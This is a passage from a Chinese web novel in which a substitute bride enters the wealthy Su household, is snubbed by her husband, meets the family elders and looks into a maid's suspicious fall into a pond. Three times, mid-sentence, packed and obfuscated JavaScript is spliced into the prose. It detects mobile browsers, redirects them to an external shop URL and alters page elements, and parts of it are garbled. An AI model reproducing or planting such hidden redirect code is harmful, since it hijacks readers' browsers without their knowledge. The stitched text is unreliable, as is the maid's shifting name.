外面传来司仪高亢悠长的唱喏声：“吉时到——新娘子落轿——” 随之轿帘被掀开，光线涌入。 喜娘再次一左一右搀扶住玖鸢，小心翼翼将她引出花轿。脚踏在坚实地面上，隔着薄薄鞋底，玖鸢能感受到脚下铺设的是光滑而冰凉的石板。 耳边是更为清晰的鼓乐声和鞭炮声，比在沈府门外更显隆重。 玖鸢能感觉到自己正被引领着，一步步向前走去。四周似乎聚集了无数的人，目光灼灼，汇聚在她这个新娘子身上。窃窃私语声如同潮水般涌来，尽管听不分明，但那其中蕴含的好奇、审视，乃至几分不易察觉的轻蔑，玖鸢都能清晰地感知到。 “这便是北地沈家的小姐？” “听闻是沈家庶女，是代嫁而来……” “代嫁？庶女？只怕是驾御不了大少爷，大少爷那般人物……” 5. 入夜 玖鸢听了这一字一句议论声，难免不受盅惑，但眼下之局，是她自己选的，虽说沈家主母和家主，还有沈家祖母皆有强逼之意，但路，终究也是她自己暗地里想要博弈的。 她唯于忽视这些言论，这些言论于己无益，听多了倒反是扰乱心神。 盖头下，玖鸢唇角浅浅挑了一抹不屑，屏息凝神，将所有杂音摒弃在外，只专注于脚下的路和喜娘指引。 代嫁又如何，庶女又如何，她沈玖鸢在沈家一直隐忍伏低，为的是什么，为的就是一朝跨越出去，和沈家，和沈芷兰，及沈家所有上上下下，割裂分解，然后有机会，再看着沈家一点点崩塌，甚至于毁灭。 至于苏家大少爷，她并不抱多大希望。她于他，只是一个陌生人，而他之于她，说白了，在玖鸢心中也只是一个跳板而已。 玖鸢是相当理性的。 她扶着喜娘胳臂，跨过一个高高门槛，想着应是府门，又行了一段路，再跨过一个稍低些的门槛。 喜娘扶了玖鸢手腕，带着她又行了段路，扶着玖鸢上了三层台阶，穿过似乎有回廊庭院，最终，在一处地方站定。 应是到了吧，玖鸢猜测着。 喧闹人声在这里变得略微收敛，却更显密集。玖鸢能感觉到无数道目光落在自己身上。 “新人到——拜堂——”司仪声音再次响起。 玖鸢被引至堂中站定，透过盖头下方极窄的缝隙，能看到地面是光可鉴人的金砖，前方似乎设着香案，红烛高烧。 玖鸢身边，似乎站了一个人，身量颇高，带着一种清冽若有若无气息，气息沉稳，高大影子即便隔着盖帘，亦能感受到一种无形威压。 这应当就是她的未来夫君苏瑾，苏家长孙，苏府大少爷，人称江南商界英才的一位俊杰，天之骄子，据说在金陵城内，追求仰慕这位大少爷的贵门名媛能排半条街不止。 也因之，和北地沈家结亲，于这位才俊来说，应属万般无奈。 此刻苏瑾站在玖鸢一米之外，并未靠近，保持着一段恰到好处的疏离距离。 拜天地，拜高堂，夫妻对拜。 整个过程，玖鸢依着喜娘提示，动作流畅标准，姿态优美。 在与苏瑾对拜时，玖鸢微微低头，能从盖头缝隙瞥见他同样穿着大红喜服的袍角，和一双织金云纹靴子。他动作亦是无可挑剔，却透着一股子程式化的淡漠，并无新郎该有的热切。 礼成。司仪高呼：“送入洞房——” 玖鸢被人簇拥着，离开正堂，又是一阵七拐八绕，最终进入了一处名为砚澜轩的院落。这里显然便是新房所在。 新房里布置得极尽奢华。 紫檀木雕花拔步床，鲛绡宝罗帐，帐上遍绣洒珠银线海棠花，风起绡动，如坠云山幻海。 榻上设着青玉抱香枕，铺着软纨蚕冰罩，叠着玉带罗衾。 地铺白玉，内嵌金珠，凿地为莲，朵朵成五茎莲花的模样，花瓣鲜活玲珑，连花蕊也细腻可辨，赤足踏上也只觉温润，竟是以蓝田暖玉凿成。 房间四角立着汉白玉柱子，四周的墙壁全是白色石砖雕砌而成，黄金雕成的兰花在白石之间妖艳绽放。 果然是豪门大家，比之北地武将沈氏家府之奢俗，更是贵奢盈溢。光是这一个新房子，怕没有个几万两银子，织造不成如此煌煌气势。 金贵质地，因了巧夺天工精心布局，每一处都恰到好处地流香溢彩，入之给人以暖适之感。 空气中弥漫着甜香，是棠春兰混合着某种不知名花蕊香气，。 久鸢被引至床沿坐下，喜娘说了几句吉祥话，便领着大部分仆妇退了出去，只留下几个贴身伺候的婢女嬷嬷。 房间里瞬间安静下来，只剩下红烛燃烧时发出的轻微噼啪声。 玖鸢端坐不动，盖头依旧覆面。她在等待，等待那个名义上的夫君，前来揭开这最后一层屏障。 时间一点点流逝，窗外天色渐暗，红烛燃了近半，外面宴饮的喧闹声似乎也渐渐歇了。然而，苏瑾始终没有出现。 留守的婢女嬷嬷们开始有些不安，交换着眼神，却无人敢出声。 终于，门外传来一阵沉稳脚步声。婢女们精神一振，连忙躬身准备迎接。 门被推开，进来的却并非苏瑾，而是一个穿着体面，面容严肃的嬷嬷，身后跟着两个捧着食盒的小婢女。 “老奴姓宋，是老夫人身边的。” 嬷嬷声音平稳，带着些年长上位的底气，“大少爷方才在前头宴客，多饮了几杯，有些不适，怕酒气冲撞了新人，已由人扶着在书房歇下了。老夫人特命老奴前来告知少夫人，并送些点心过来，请少夫人自行先用些，不必再等。” 宋嬷嬷话音一落，新房内空气仿佛凝固，竟有几秒静寂。 大婚之夜，新郎官竟不入洞房，去了书房安歇！无论有多少种理由，都在宣告着对新娘子的轻视，还有不掩不藏的羞辱。 几个沈家陪嫁过来的婢女脸色顿时变得煞白，铃兰更是急得眼圈发红，看向玖鸢，却又不敢说话。 玖鸢端坐在床沿，盖头下的面容看不真切，身形却纹丝未动，连呼吸频率都未曾改变。仿佛宋嬷嬷方才说的，不过是一句无足轻重之话。 这片刻寂静，反而让原本气势十足的宋嬷嬷，心中微微生出一丝异样。这位北地来的新夫人，反应未免太过平静了些。 良久，盖头下才传来玖鸢平静无波的声音，听不出丝毫怒意或委屈：“有劳宋嬷嬷回禀祖母，孙媳知道了。夫君身体要紧，还请祖母和夫君不必挂心。” 玖鸢声音清越温和，如同玉珠落盘，在这过分安静的新房里格外清晰。 宋嬷嬷眼底闪过一丝讶异，很快又恢复如常，躬身道：“少夫人深明大义，老奴定当回禀。请少夫人早些安歇。”说罢，示意婢女将食盒放在桌上，便带着人退了出去。 新房门再次被关上。 这一次，房间内越发寂静，漫过一种难以言说的尴尬与沉重。 “小姐！”铃兰终于忍不住，带着哭腔上前，“姑爷他，他怎么可以……” “住口。”玖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677376|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸢淡淡打断铃兰，声音不高，却自有一股威仪，“这里是苏府，岂容你妄议主子？下去吧，这里不用你们伺候了。” 铃兰被主子语气中的冷意慑住，噎了一下，终究不敢再多言，与其他几个婢女惴惴不安退了出去。 当房门彻底合拢，屋内只剩下玖鸢一人时，她才缓缓地自己伸手，揭开了顶在头上几乎一整天的沉甸甸盖头。 烛光下，玖鸢面容平静如水，唯有那双点墨般眸子里，掠过一丝冰寒讥诮。 不入洞房？下马威？还是他苏瑾，根本不屑于这桩被强加的婚姻？ 很好。 于苏家这个大少爷，玖鸢并未有太多期许，也因之，就没有太失落。 玖鸢站起身，走到那桌丰盛却已微凉的点心前，目光扫过精致糕饼，却没有动。而是转身，走到梳妆台前，开始自己动手，一点点卸下头上繁复贵重的首饰。 镜中映出玖鸢绝美容颜，以及那双过于冷静的眼睛。 苏瑾的回避，虽在玖鸢意料之外，细想却又在情理之中。 像他那样的天之骄子，被迫娶一个素未谋面的女人，还是来自与苏家格格不入的武将家族女子，心中岂会没有抵触？今日这出，不过是他表达不满的一种方式。 也罢。 苏瑾既不来，玖鸢反倒乐得清静，也省去了新婚之夜彼此虚与委蛇的尴尬。 玖鸢将头上腕上所有首饰卸下，又仔细收入妆奁，换下身上大红嫁衣，只着一身素雅月白中衣。然后，她走到窗边，推开了一扇支摘窗。 清冷夜风带着水汽氤氲涌入，吹散了屋内那些甜腻香气，也让玖鸢精神为之一振。 窗外，是砚澜轩庭院，借着廊下悬挂的灯笼和皎洁月光，可见院中假山玲珑，曲径通幽，种植着许多玖鸢叫不出名字的南方花草，即便在冬日，这些花草也显得郁郁葱葱。 远处，苏府楼阁重重，灯火零星，隐没在沉沉夜色与水汽中，望不到边际。 这便是在未来很长一段时间里，玖鸢需要立足，需要周旋，需要征服的地方。 夫君不喜，婆家莫测，仆从观望，自身根基浅薄。 前路，遍布荆棘。而且亦有太多不确定。仿佛下一步每一秒，都极有可能面临被夫家休书的可能。 先前沈氏一族外房有个族女，嫁的便是南方一富商之子，没过半年便被男方休回族中，原因是不喜沈族这女子粗犷外放性子。 所以即便今日进了苏家这门，有朝一日被休掉也不是没有可能。 然而，玖鸢眼中非但没有惧色，反而燃起了一丝几不可察的火焰。 她轻轻抚摸着窗棂上冰凉雕花，嘴角掠过一抹几不可察诮笑，这个未来夫君或许以为，他今夜不入洞房，便是于她最彻底的漠视，殊不知这于玖鸢而言，连沈府万分之一伤害都不到。 一曳凉风不着痕迹漫过眼角眉梢，玖鸢心上起过些微波澜，心想苏瑾不入洞房，只是开始。未来需要面对的，恐不只是这些单纯的表象，内里水深水浅，也只有一步步涉越之后，才知究竟。 6. 晨省 江南晨曦，来得比北地要委婉得多。 天际并非陡然亮起，而是由沉沉青瞿，逐渐晕染开一片鱼肚白，继而透出淡淡如同少女羞赧脸颊般的粉橘色。湿润空气中弥漫着泥土与花草清新气息，夹杂着远处厨房传来的若有若无烟火气。 砚澜轩内，玖鸢早已起身。 无需婢女催促，玖鸢自幼在沈家谨小慎微生活，早已养成了寅时即起的习惯。 昨夜，玖鸢屏退了所有婢女，独自在这陌生而华丽的新房中安歇。拔步床宽敞得有些空旷，锦被柔软温暖，她却睡得并不沉。 半梦半醒间，总是母亲模糊的面容，沈芷兰怨毒眼神，以及苏瑾那未见其人，先感其冷的疏离气息交织浮现。 玖鸢用冷水净了面，刺骨凉意驱散了最后一丝朦胧睡意。 对镜梳妆时，玖鸢摒弃了所有鲜艳色彩，只择了一身藕荷色暗纹缎面交领长袄，下系月白色百褶棉裙，乌发绾成一个简洁利落圆髻，簪了一支素银嵌珍珠的簪子，簪子上有几朵米珠串成的珠花。 玖鸢脸上未施脂粉，却更显得眉不画而黛，唇不点而朱，天然一段清丽风姿。 “小姐，您真好看。” 被允许进来伺候的铃兰，一边为玖鸢整理裙角，一边低声赞叹，眼底藏着一丝忧色，“只是，是否太过素净了些？小姐今日要去拜见老夫人和太太们……” 玖鸢从镜中看了铃兰一眼，目光平静。 “新妇初次拜见长辈，重在端庄恭谨，而非艳丽夺目。如此便好。” 玖鸢深知，在苏家这等规矩森严，眼高于顶大家族里，自己这个代嫁而来根基浅薄的北地女子，过分张扬的美貌与刻意打扮，只会引来更多口水与轻蔑。不如示人以弱，以静制动。 收拾停当，早有宋嬷嬷派来的小婢女在门外等候，引玖鸢去往老夫人的柏草堂。 穿过层层叠叠弯曲游廊，绕过三处嶙峋假山，假山不远处还有结了薄冰的池塘，池塘上有一座石拱木桥，玖鸢默默记着路径与沿途景致。 苏府占地极广，亭台楼阁，飞檐斗拱，无不精致典雅，一草一木布置都透着匠心巧夺天工，远非沈府的粗犷可比。 仆从们见到玖鸢，皆停下脚步，垂首敛目，恭敬行礼，称呼一声“大奶奶”，序礼姿态无可挑剔。 不过，这些仆从眼神深处一闪而过的探究与好奇，没有逃过玖鸢眼睛。 柏草堂位于苏府中轴线上，是府中最轩敞也最显肃穆的院落。 尚未进门，便闻到一股悠远沉静的檀香气息。 堂前种着几株高大松柏，经冬不凋，苍翠逼人，倒是应了这柏草堂之名。 踏入堂内，暖意混合着更浓郁的檀香扑面而来。 地上铺着厚厚的吉祥如意团花地毯，踩上去悄无声息。 正堂上首，设着一张紫檀木雕罗汉床，床围雕着福寿绵长图案，床上端坐着一位头发银白，面容清癯的老妇人。 老夫人身穿深褐色锦缎棉袍，上有缠枝宝相花纹，额间戴了镶嵌着祖母绿的眉勒，手腕上勒着一串油光水亮的沉香木佛珠。 老夫人虽未言语，通身却散发着一种不怒自威气度，正是苏府的老封君，苏瑾祖母，苏老太太。 挨着炕床，下首两排黄花梨木扶手椅上，已坐了不少珠环翠绕女眷。 女眷们皆是绫罗绸缎，珠光宝气，低声交谈着，目光此刻不约而同在玖鸢踏入门口瞬间，齐刷刷落在了她身上。 好奇、审视、比较，乃至一丝不易察觉的轻慢，一千个人就有一千种心思，数道目光，交织成一张无形网。 玖鸢深吸一口气，压下心头微澜，步履从容地走上前，在距离罗汉床约五步远的地方，她停下脚步，依照昨日恶补的苏家礼仪，双手叠在腰间，深深标准地行了一个万福礼，道： “孙媳沈氏，给祖母请安。愿祖母福寿安康。” 玖鸢声音清越柔和，不高不低，恰能让满室的人都听得清楚。 玖鸢没有自称小名，而是用了更显郑重和疏离的沈氏。 苏老夫人勒了手中珠串，抬起眼皮，是双历经沧桑却依旧清亮的眼睛，此刻落在玖鸢身上，从头到脚细细打量。 堂内瞬间安静下来，所有人目光都聚焦在这初次正式亮相的新妇身上。 只不过片刻静默，时间却仿佛被拉得无比漫长。 “起来吧。”老夫人终于开口，声音不高不低，容色间慈宁却不失威严，“你先抬起头来，让祖母好好看看，祖母年纪大了，若不细瞧了，怕过一会就忘了你长何模样。” 玖鸢依言缓缓抬头，目光温顺地垂视着下方，既不失礼，也不显得过分大胆。 映入老夫人眼底间的，是一张不施粉黛却清丽绝伦的脸，尤其是这双沉静如水眸子，端的是与众不同。 见之，老夫人眼底闪过一丝几不可察讶异。 这女子，与想象中北地将门虎女那股飒爽英气不同，或是惶恐不安，似乎都相去甚远。 这份沉静与恭谨，倒像是江南书香门第里精心教养出来的小姐。 “嗯，是个齐整孩子。”老夫人微微颔首，语气听不出喜怒，“路上辛苦了。既进了苏家门，往后便是苏家人，要恪守妇道，和睦妯娌，尽心侍奉夫君，绵延子嗣。” “是，孙媳谨记祖母教诲。”玖鸢再次敛衽行礼。 接着，玖鸢便是在宋嬷嬷引领下，一一拜见各位长辈。 坐在老夫人左下首第一位是苏瑾母亲，苏府如今的当家主母，林氏。 林氏约莫四十上下年纪，穿着绛紫色百蝶穿花袖袄，戴着赤金镶红宝头面，容貌姣好，只是眉眼间带了几分挥之不去的郁色和挑剔。 林氏受了玖鸢恭礼，淡淡说了句“起来吧”，便从自家手腕上褪下一只成色普通玉镯，命身旁的嬷嬷递给玖鸢，算是见面礼，态度不冷不热。 玖鸢恭敬接过，道了谢，只此一着，玖鸢便心中明了，这位婆母，或也是对自己和苏瑾这桩婚事，乃至对自己这个人，恐怕都心存芥蒂。 接下来是二房太太王氏，也就是苏虞母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677377|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲。 王氏生得圆脸富态，未语先笑，穿着宝蓝色织金缎裙，显得十分和气。她拉着玖鸢的手，夸了几句“模样真好”，“瞧着就惹人疼”，送了玖鸢一支金簪，有点分量，态度极为热络。 只是王氏就算笑意如此欢畅，却也只是浅浅敛在眼角而已，并未完全抵达眼底。 接下来是三房太太赵氏，人比前两个年轻，神情间有些倨傲，给玖鸢见面礼是一对珍珠耳坠，态度敷衍。 还有几位旁支的婶母、姨奶奶，玖鸢都一一拜见，礼数周全，应对得体，既不卑不亢，又显得十分恭顺。 拜见过长辈们，便是平辈的妯娌和姊妹。 二房庶出的几位小姐，年纪尚小，皆好奇打量着这位新嫂嫂。 三房小姐苏雯，与玖鸢年岁相仿，容貌俏丽，眼神间跳跃着挑剔，行礼时姿态也有些傲慢。 这一圈见下来，玖鸢虽始终低眉顺目，心中却已对苏府后宅人物关系有了大致轮廓。 老夫人威严，婆母林氏冷淡，二房王氏表面热情，三房赵氏疏离，平辈之中，善意者少，观望者多。 而那个最关键人物，她的夫君苏瑾，自始至终，未曾露面。 晨省接近尾声，老夫人挥挥手，略显疲惫道： “好了，人都已见过，你们都散了吧。老大家的，”老夫人看向林氏，“瑾哥儿媳妇初来乍到，许多规矩不熟，你多费心教导。” 林氏起身应了：“是，母亲。” 众人纷纷起身告退。 玖鸢跟在林氏身后，走出柏草堂。 林氏脚步不快不慢，并未与玖鸢多言，只在她即将转入通往砚澜轩岔路时，才停下脚步，侧身淡淡道：“今日起，你每日辰时初刻过来，我与你分说家中事务，熟悉规矩。” “是，母亲。”玖鸢恭声应道。 林氏看了玖鸢一眼，目光在她素净衣着上停留了一瞬，终究没再说什么，转身扶着婢女手走了。 玖鸢站在原地，看着林氏远去背影，又抬眼望了望苏府上空那片蓝天，蓝天被亭台楼阁分割开，蓄了淡淡晨雾。 这第一步，总算迈出去了。虽如履薄冰，却并未失仪。 回到砚澜轩，铃兰连忙奉上热茶，小声道：“小姐，您可回来了。方才大少爷身边小厮过来传话，说大少爷事务繁忙，近期都宿在外书房，让小姐不必等他用膳。” 玖鸢接过茶盏，指尖感受着白瓷传来的温热，神色未变，只轻轻“嗯”了一声。 新婚第二日，夫君便明确表示宿在外书房。这消息，恐怕此刻早已像长了翅膀一样，传遍了苏府每一个角落。 玖鸢低头，吹开茶盏中浮起的碧绿茶叶，氤氲热气模糊了她沉静眉眼。 苏瑾，你这是在告诉所有人，你并不承认这桩婚事，也并不承认我这个妻子吗？ 也好。 你越是如此，我越要在这苏府，稳稳地站住脚跟。 玖鸢抿了一口清茶，目光落往窗外，庭院中几株翠竹，即便在寒冬中依旧挺拔。 7. 城府 接下来的日子，玖鸢日常生活按部就班，仿佛被嵌入了一个固定而刻板的模子。 每日寅时三刻起身，梳洗用过早饭后，玖鸢便在晨光熹微中前往主母林氏所居的静心苑，开始听取为期一个时辰的规矩教导。 静心苑正厅里，总弥漫着一股淡淡药香，与林氏眉宇间那缕化不开的郁色相得益彰。 林氏端坐在上首紫檀木扶手椅上，手边永远放着一盏温热散发着苦味的参茶。 林氏教导的内容，从苏家族谱辈分，各房关系利害，到府中人事安排，产业分布概况，再到待人接物的礼仪分寸，乃至饮食起居细微习惯，琐碎而庞杂。 林氏声音一贯平铺直叙，不带什么感情色彩，如同在背诵一本陈年账簿。 林氏虽说并不刻意刁难玖鸢，却也绝无半分亲近之意。 林氏偶尔提问玖鸢时，目光锐利无比，似乎想从玖鸢恭顺回答中，挑剔出哪怕一丝一毫属于沈家的粗野或是不驯。 “府中中馈，如今虽主要由我掌管，但各房皆有份额定例，田庄、铺面、船运等外务，则由你公公与瑾儿他们打理。你初来，首要便是谨言慎行，莫要插手不该管的事，平白惹人笑话。” 林氏抿了一口参茶，淡淡出声。 “尤其是各房之间银钱往来、人情交际，分寸拿捏，最是考验人。” 玖鸢垂首静听，心中雪亮。 林氏这话里话外，皆是在告诫她，也是在下意识地巩固自己当家主母权威，将她排除在苏家权力核心之外。 玖鸢心下明白这些，只温顺应道：“儿媳明白，定当恪守本分。” 这日，林氏正说到苏家在城中的几处重要绸缎庄，和茶行营生，外头忽然传来一阵略显急促脚步声，随即是婢女略显慌张的禀报： “太太，不好了！二夫人房里的绮罗姑娘，失足落水了！” 林氏闻言眉头一皱，放下茶盏。 “人可是救上来了？怎么回事？” “救是救上来了，只是呛了水，又受了寒，如今发着高热，胡话不止。二夫人那边已经请了大夫，只是……”婢女欲言又止。 林氏脸色微沉：“只是什么？” “只是绮罗姑娘昏迷前，一直念叨着……念叨着冲撞了水里的……不干净东西……”婢女声音越来越低。 堂内瞬间安静下来，几个伺候的嬷嬷婢女都变了脸色。 江南水乡，本就多信这些神鬼之说，尤其是在这深宅大院里，一点风吹草动都能引出无数遐想。 林氏沉吟片刻，吩咐道：“去库房取些上好老参和安神香料，替我送去二房，告诉二夫人，好生照料着，需要什么尽管开口。” 林氏又看向玖鸢，语气没什么波澜，“你也随我一起去看看吧，虽说你是新妇，但既撞上了，也该表表心意。” “是。” 玖鸢起身，心中却是一动。 绮罗是二房太太王氏身边颇得脸的大婢女，性子稳重，怎会无故落水？还牵扯到什么不干净的东西？ 到了二房所在的锦绣阁，果然是一片忙乱。 婢女绮罗虽是被打捞上来了，但只剩了悠悠一口气，此刻全身湿透，脸色苍白闭眼躺在木板上，嬤嬷婢女们都在手忙脚乱呼叫着绮罗。 王氏坐在外间，拿着帕子抹泪，见到林氏和玖鸢，忙起身相迎，眼圈红红地道： “大嫂来了，真是祸事啊。绮罗那丫头一向稳妥，今日不过是去后园折几支梅花，怎么就……” 王氏说着，又压低声音，带着几分惊恐，“府里近来是不是不太平？前儿个看园子的老张头也说夜里听到怪声……” 林氏没有回应王氏这种说辞，只宽慰了王氏几句，语气依旧平稳： “弟妹莫要胡思乱想，许是冬日池边路滑，绮罗不小心罢了。好生治病要紧，莫要自己吓自己。” 玖鸢跟在林氏身后，目光悄然扫过屋内。 婢女婆子们面色惊惶，交头接耳，显然都被不干净东西的说法搅得心神不宁。 玖鸢注意到角落里一个负责打扫的小婢女，眼神闪烁，双手紧张地绞着衣角，似乎想说什么又不敢。 趁着林氏与王氏说话空隙，玖鸢缓步走到小婢女身边，声音放得极轻极柔：“你别怕，可是看到了什么？” 小婢女吓了一跳，抬头见是新来的大少奶奶，神色温和，不似作伪，犹豫了一下，才哆哆嗦嗦道： “奴婢……奴婢早上好像看见……看见绮罗姐姐不是一个人去的池边，好像还有个人影，隔得远，没看清……” 听了这话，玖鸢也觉诧异，既相跟着人去的池边，落水后跟前怎反倒没人了？不过玖鸢虽是心下这样想着，面上却不露分毫，只温和道： “许是看花了眼，莫要声张，免得惹更多是非。” 说着，玖鸢悄悄将腕上一枚不起眼的银镯子褪下，塞到小婢女手里，“拿去压压惊。” 小婢女感激地看了玖鸢一眼，紧紧攥住了镯子。 从二房出来，林氏揉揉额角，显得有些疲惫，对玖鸢道： “你也看见了，府里人多口杂，一点小事便能传得风风雨雨。你日后言行更需谨慎，莫要卷入这些是非之中。” “儿媳谨记母亲教诲。”玖鸢恭顺应答，心中却想，树欲静而风不止，在这深宅大院，想要独善其身，恐怕是痴人说梦。 回到砚澜轩，已是午后。 玖鸢屏退左右，独自坐在窗下，将今日之事细细思量。绮罗落水，绝非意外那么简单。 小婢女看见的人影，是关键。 是灭口，是争执，还是有人想借此事，在苏府掀起什么风浪？ 所谓的不干净东西，不过是扰乱视线的烟幕罢了。 正沉思间，忽闻院中传来一阵清朗笑语声，伴随着婢女们的请安声：“大爷回来了，二少爷安。” 随即，门帘被掀起，一股带着室外寒气的风卷入，伴随着一个戏谑声音: “小弟苏虞，特来拜见嫂嫂，不知嫂嫂可还适应我们这江南水土？” 玖鸢抬眸，只见苏虞穿着一身宝蓝色团花暗纹锦袍，外罩玄狐斗篷，眉眼含笑，风流倜傥站在门口，手中还摇着一把不合时节的折扇，目光毫不避讳地落在她身上，带着毫不掩饰的欣赏与探究。 苏虞身后，还跟着一个身影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677378|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这人穿着月白暗竹纹杭绸直裰，外罩墨色鹤氅，身姿挺拔，面容清俊，眉眼间蕴着一股书卷气的疏淡，不是她那名义上的夫君苏瑾，又是谁？ 他终于，出现了。 苏瑾目光也落在了玖鸢身上，相较于苏虞的炽热，苏瑾眼神更像是一潭深水，平静无波，看不出丝毫情绪，只微微颔首，算是打过了招呼。 玖鸢起身，敛衽行礼，姿态无可挑剔。 “玖鸢见过二弟，见过夫君。”最后两个字，在玖鸢舌尖轻轻滚过，带着一丝不易察觉的生涩。 苏虞哈哈一笑，自顾自地在一旁椅子上坐了，扇子“唰”地一收。 “嫂嫂不必多礼。我今日是拉着大哥来的，他整日泡在书房和铺子里，都快成了木头人，我怕嫂嫂闷坏了，特来陪你说说话。” 苏瑾并未坐下，只负手立于窗边，目光投向窗外庭院，仿佛那里的一草一物，比屋内新婚妻子更有吸引力。他淡声道：“二弟顽劣，你莫要见怪。” 苏瑾声音清越，如同玉石相击，却带着一种拒人于千里之外的凉意。 玖鸢垂眸，唇角噙着一抹得体浅笑。 “二弟活泼率真，夫君忙于正事，皆是应当。妾身在此一切安好，劳烦挂心。” 苏虞眼神在两人之间转了转，笑容更深，开始东拉西扯地说些金陵城中的趣闻轶事，试图活跃气氛。玖鸢偶尔应答几句，声音柔和，态度从容。 苏瑾始终沉默，只在苏虞说到一桩关于漕运货物被扣的麻烦时，眉宇几不可察地蹙了一下，但并未插言。 片刻后，苏瑾转身，对苏虞道：“二弟，前头书房还有几份账目需你一同核验，莫要在此过多打扰你嫂嫂休息。” 苏虞似乎有些意犹未尽，但也只好起身，对着玖鸢笑嘻嘻地道：“那嫂嫂好生歇着，小弟改日再来叨扰。” 玖鸢起身相送。 “二弟慢走。”玖鸢目光，最终落回苏瑾身上，他依旧没有看她，只微微颔首，便与苏虞一同转身离去。 自始至终，苏瑾未曾与玖鸢多说一句话，未曾有过一丝夫妻间该有的温存，甚至连一个正眼，都吝啬给予。 铃兰在一旁，气得眼圈又红了，替自家小姐感到无比委屈。 玖鸢却只是默默地看着两人离去背影，尤其是苏瑾挺拔却疏离的背影，目光幽深。 苏瑾今日前来，是因苏虞强拉，还是也听说了二房之事，前来探探她这个新妇的虚实？ 无论何种原因，他这态度，已然明确。 玖鸢缓缓坐回窗边，指尖无意识地在冰凉窗棂上划过。 苏瑾，你视我如无物，我便偏要在这苏府，活出个样子来。 绮罗落水，府中流言，或许正是我的机会。 窗外，天色不知何时阴沉下来，绵绵冬雨，悄然而至，敲打在屋檐窗棂上，淅淅沥沥。 苏府每一个人，都似乎戴着面具，面具下那些诮小微虞，即便是没有实质性的交往，玖鸢也能感知到。 尤其苏瑾，虽没有明说，但眼睑末梢每处神经，似乎都在无声宣判，她沈玖鸢，不过是平庸之辈，做他内室，她是哪来的底气！ 8. 筹谋 夜里下了一场雨，雨丝连绵，不绝如缕，敲打在砚澜轩琉璃瓦上，汇聚成串，顺着飞檐滴落，在青石板上溅开一朵朵水花。 庭院中的花草在雨幕里显得格外鲜润，绿的分外醒目，红的粉的越发明艳。 玖鸢坐在临窗贵妃榻上，手中捧着一卷苏府往年往来的礼单册子，这是林氏让她熟悉人情往来之用。 玖鸢目光虽落在字里行间，心神却有一半，系在了昨天二房落水之事上。 铃兰端着一盏新沏的碧螺春进来，轻轻放在榻边小几上，低声道： “小姐，二房那边传来消息，素罗姐姐高热退了些，但人还是昏沉沉的，嘴里偶尔还会说胡话，二夫人请了城外白云观道士明日过府做法事呢。” 玖鸢放下册子，接过茶盏，眉眼之间略微沉思。 大冬天的，虽然江南这边没有北地那么寒冷，湖水尚不致薄冰，但素罗一个婢女，没事跑到湖边干什么，据她妹妹讲，还带了个男子，又突然落水，这之中，绝对没有那么简单。 玖鸢刚来苏府才几天，苏府便出了这种事，不能不令她警觉。看来苏府，也并不似表面那样平静顺遂。 “做法事？看来二婶是认定了府里不干净。” “可不是嘛，”铃兰压低声音，“现在府里下人们都在私下议论，说什么的都有。有说多年前淹死过婢女的，有说冲撞了哪路神仙的，人心惶惶的。” 主仆二人正说着，忽闻院外传来一阵略显嘈杂的脚步声，还有压低争执声。 “宋嬷嬷，求您再通传一声，素罗她，她怕是不好了！”一个带着哭腔的女声哀求道。 “不是请了大夫了吗？大少奶奶今日也受惊了，刚歇下，有什么事明日再说。”这是宋嬷嬷略显不悦的声音。 玖鸢眸光微闪，扬声道：“铃兰，去看看外面何事？” 铃兰应声出去，片刻后回来，面色有些古怪。 “小姐，是二房素罗的妹妹，叫素绢的小丫头，哭着求见您，说素罗情况危急，大夫开的药灌下去都吐了出来，眼看就不行了，她听说您今日宽和，想求您去看看，或许有什么法子……” 素罗妹妹竟来求她，玖鸢心中微讶。 她一个初来乍到的新妇，在旁人眼中不过是北地来的自身难保的代嫁之人，这素绢怎会病急乱投医，求到她头上？ 这委实有点奇怪，难道素绢是看在她昨天赏了一个镯子，故而觉得玖鸢这个大奶奶好共事不成。 玖鸢犹豫着，要不要管素罗这档子事。 有些事宜出头，有些事管的多了，难免引火烧身。 铃兰急道：“小姐，这可不能去。府上人人都说素罗说是撞了邪，万一，万一沾上什么不干净东西，波及到小姐身上，或者治不好，岂不是于小姐不益。” 玖鸢沉吟片刻，却缓缓起身：“更衣，我去看看。” “小姐！”铃兰惊呼。 “人命关天。”玖鸢从容穿衣，脸上神色微妙莫测，“去将我那日带来的那个紫檀木小药箱取来。” 药箱是母亲遗物，里面有些玖鸢平日根据母亲手札调制的寻常丸散，虽治不了那些所谓不干净怪谈规则，但对急症或有些许缓解之效。 更重要是，这是一个机会，一个打破僵局，展现价值的机会。 